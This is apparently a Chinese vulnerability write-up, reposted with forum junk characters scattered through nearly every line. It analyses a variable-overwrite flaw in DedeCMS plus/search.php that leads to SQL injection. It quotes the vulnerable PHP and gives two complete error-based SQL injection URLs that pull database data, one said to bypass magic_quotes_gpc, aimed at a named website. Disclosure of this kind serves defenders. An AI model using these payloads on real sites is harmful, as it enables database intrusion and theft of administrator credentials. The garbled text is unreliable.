微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋./ g! }8 H2 j X/ a
作者: c4rp3nt3r@0x50sec.org
/ [/ ^( i0 r5 e8 u* ADedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码., h$ S& s8 n- a+ C2 ~
; k, b7 J2 O7 G1 |
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
. y; o8 o" `+ Z! V" B! }
" `& ]% v, b& o3 Q============8 F/ |$ O& H! K
( q9 E5 J) F. v1 c
- O& U8 n$ O4 j c v/ XDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.* P4 I% L( M; E5 T1 J- i
+ u0 w7 f9 }% F( E+ w! V
require_once(dirname(__FILE__).”/../include/common.inc.php”);: I$ r" w9 u- J+ ^4 G4 C
require_once(DEDEINC.”/arc.searchview.class.php”);
0 N, ?! G7 h% J ! N1 f' E2 T) H! d7 @ ?# \ p J
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;/ `/ j8 g7 m6 Y$ f
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;9 V' @! t2 }, E' ~
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
- c- x$ l! {$ E& T* E! w m$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
' W5 x8 b: C8 G' {+ Y, f0 r0 V& Z" y$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;( H. d5 k* }. \* m9 o
1 L6 c- f2 ^8 C! c( J: e5 o6 v
if(!isset($orderby)) $orderby=”;' j* |# i3 i& L1 h" M) k
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);1 Y. l7 j! ~ w. o T& a5 p
" R r* x9 k% o4 N# ^$ d6 z
- X: y) n U6 K7 X6 Hif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
& z# a4 F" F2 p _else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
3 I5 ?7 z2 t4 l5 F 7 @ _0 z: i/ r5 x( {3 e2 i# a
if(!isset($keyword)){
3 L2 s( @$ V/ |3 D if(!isset($q)) $q = ”;
: w6 B7 t% o/ ]& J# ^ $keyword=$q;
9 z) |! a* X% d2 Z( c. `3 J}# p! O5 m% V7 j1 w& g @# P
' C% _' |/ d+ g! S; Q3 y2 E' e7 h6 z$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
- B* k( i; E) P; ` # o! P! K1 R) U p9 @
//查找栏目信息 `0 ?$ ~% @5 ^5 a
if(empty($typeid))
4 q, d0 h' V6 `/ K+ d4 z$ j, \{: g, }5 W6 q+ a) q# X. o' X; A( u1 e
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
9 v1 V/ l( r9 Z$ L, U# O; r+ h if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) ) f5 ]3 f5 C# r# g' d/ ~5 p6 w
{$ }6 d {5 M! O) y9 w
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);, `6 V; v/ N3 O1 c) O& b. O% p* Y. ^
fwrite($fp, “<”.”?php\r\n”);
9 f& r* {: {* N8 k; W9 I $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
9 a8 o! I- G, A$ N $dsql->Execute();
! r/ b4 [" {' c! H; H" N0 \ while($row = $dsql->GetArray())0 C" i& G2 ^+ h4 R4 _9 B& o; A
{
) A5 Z+ s: T7 Z2 L7 t; O, m% a5 C fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
! h+ }( j' f$ y- F( x }
% u* w5 U' l9 e2 G, @9 Y fwrite($fp, ‘?’.'>’);
* j" H# G/ {* p9 [; A U# w fclose($fp);
8 [4 E; c& I* W% U }9 Q4 V N, c: L5 J: ^
//引入栏目缓存并看关键字是否有相关栏目内容 T9 b! y; e; ] }- @$ p" r- q
require_once($typenameCacheFile);
% ?9 T5 b, }/ s2 W; l4 E" \//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个" A, r- H6 d5 I% N7 X* L
//9 u3 R3 Y. w* M) Y, C
if(isset($typeArr) && is_array($typeArr))! ~: n1 H( M+ f& E0 E
{
' \1 p) [( X* k foreach($typeArr as $id=>$typename)
9 C- V9 E1 z) p6 S$ ` {5 p; }) W. ~1 K+ Q
( Y& s2 Z7 a* x3 ~6 y2 L& o
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
3 o* C; Y% q! `( Y" h! b# b if($keyword != $keywordn)8 E+ J) n% t9 ^+ W/ p% B. c
{
! Y- j6 T+ p" J+ Q6 x $keyword = $keywordn;7 g2 }* H* v& A* z5 k4 W
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
3 c3 m) e; d2 B9 i break;% I5 Y5 f1 P. n7 ^4 K: x2 u- a+ |
}
9 B& A1 U" p& f }& P6 K' O9 T2 Z, A9 {
}
/ t2 N$ x, ?6 E5 G# x}
# W: B1 b4 a5 C: S2 b9 f6 R然后plus/search.php文件下面定义了一个 Search类的对象 .( H7 b1 l% ] [
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
5 T$ a6 R3 X/ d0 h; `, C$this->TypeLink = new TypeLink($typeid);
5 h+ G" F) |* b 7 w0 {$ B/ @1 T8 q1 D2 P. K4 Q; x
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句./ z- f" {4 ?) q: U# O/ h% i
' S+ j% k# o' g- K1 Hclass TypeLink
# j: L6 V5 i9 j4 z{1 T+ r( d. T& U
var $typeDir;9 Q( w+ r# [$ `/ o, W& v
var $dsql;1 X5 l2 r! J+ b0 x) a, I
var $TypeID;: {4 a7 Z+ S, E3 q7 [" u
var $baseDir;* H, p1 D9 j2 E# {1 \9 U7 G' B
var $modDir;5 [ \4 K- c9 A8 y4 ]) J1 B
var $indexUrl;9 {( X, l/ Z& |' A4 S {
var $indexName;. w: @3 {+ J2 Z8 l( C+ A. H
var $TypeInfos;
w* ]& i6 E' l; H) f5 R( p var $SplitSymbol;) T6 }2 `2 R* z* L9 k
var $valuePosition;3 e5 h9 \4 \* V0 W9 G
var $valuePositionName; `' q% F9 d/ F. p
var $OptionArrayList;//构造函数///////; |6 N) o" D" Z
//php5构造函数
, h9 F1 Z. e% z" E- M8 Z" [9 k+ k function __construct($typeid)/ q, I; e) d, Y8 E0 d) K
{. ^9 x2 U" {- s w" s# R/ g. G
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];% b. R m4 `! _0 o; m; t) V- @
$this->indexName = $GLOBALS['cfg_indexname'];
" D$ d: u4 z+ l) v$ S1 _' C $this->baseDir = $GLOBALS['cfg_basedir'];
0 N* f+ a9 W- O# @/ s $this->modDir = $GLOBALS['cfg_templets_dir'];- T& b; b* T2 j+ }
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];- R' B: b6 _/ D v
$this->dsql = $GLOBALS['dsql'];
# z8 J/ D0 P* r, A' H$ H $this->TypeID = $typeid;; D: a# ~/ Q% [ w" i) w9 W% b
$this->valuePosition = ”;
, \" j+ `7 Z9 o $this->valuePositionName = ”;! C8 a; s' M- A4 I* m
$this->typeDir = ”;
$ U+ }( ?& ]* [2 l5 R4 N9 B# _ $this->OptionArrayList = ”;- m8 y9 _# v! T7 I( E6 X/ v
' F4 A2 d4 P% R4 h- n
//载入类目信息' [3 e: U0 H; |+ a% Y: X
- p2 y* c j; b3 T
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
: j0 }( Q$ r" ?: x, o c6 S' _ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join: O4 L5 V- }* K' B t
`#@__channeltype` ch5 t, S( f1 L( o, z
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
) o& W$ q' l& i M- w/ u: n# ^ ( G* D0 c$ [* |6 ?/ c$ ?+ T; O8 p4 j
if($typeid > 0)
* ?: i e& n+ D% M {
6 u* r9 J7 }2 K# ]6 }+ T $this->TypeInfos = $this->dsql->GetOne($query);
4 e$ L2 |8 P2 r" G0 A利用代码一 需要 即使magic_quotes_gpc = Off
4 U: H8 C7 s1 A! _ 4 f6 R$ C0 ^4 |9 s! ~
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
3 g1 }, e; b, A2 _+ B
: L& Z2 i" D, C, l这只是其中一个利用代码… Search 类的构造函数再往下' S! i, p0 T$ X8 r. x2 B7 _
/ v4 G- u( S: b( r/ N& \4 L1 B" l, j……省略
0 v: g. O6 E3 ~3 r$ `9 p; ~- w$this->TypeID = $typeid;
4 o* T \- i U0 o……省略/ U3 I# ^9 f5 L5 s' F% p7 O# c
if($this->TypeID==”0″){/ M8 ~, P# f% n9 x
$this->ChannelTypeid=1;' j$ u/ W. L( d3 E5 s! {3 B9 P
}else{$ F3 C L# T& [* m. J
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲7 y; k% W J, p# f
//现在不鸡肋了吧亲…
2 J2 S& a6 h: j* y- R $this->ChannelTypeid=$row['channeltype'];" @0 E# q4 n7 B9 J% K* R8 R
( m& u6 @4 ~9 J8 l }
! @3 u" M1 i8 g. z2 l利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
1 F! r+ m& ?! H+ U4 e
5 V, |" Q6 I/ G' G6 I. owww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title( |% `1 I% r& M1 O
4 d, n0 G5 s. i: v6 @ F/ l( {& M2 m" e如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
; m! u! j3 a: ` |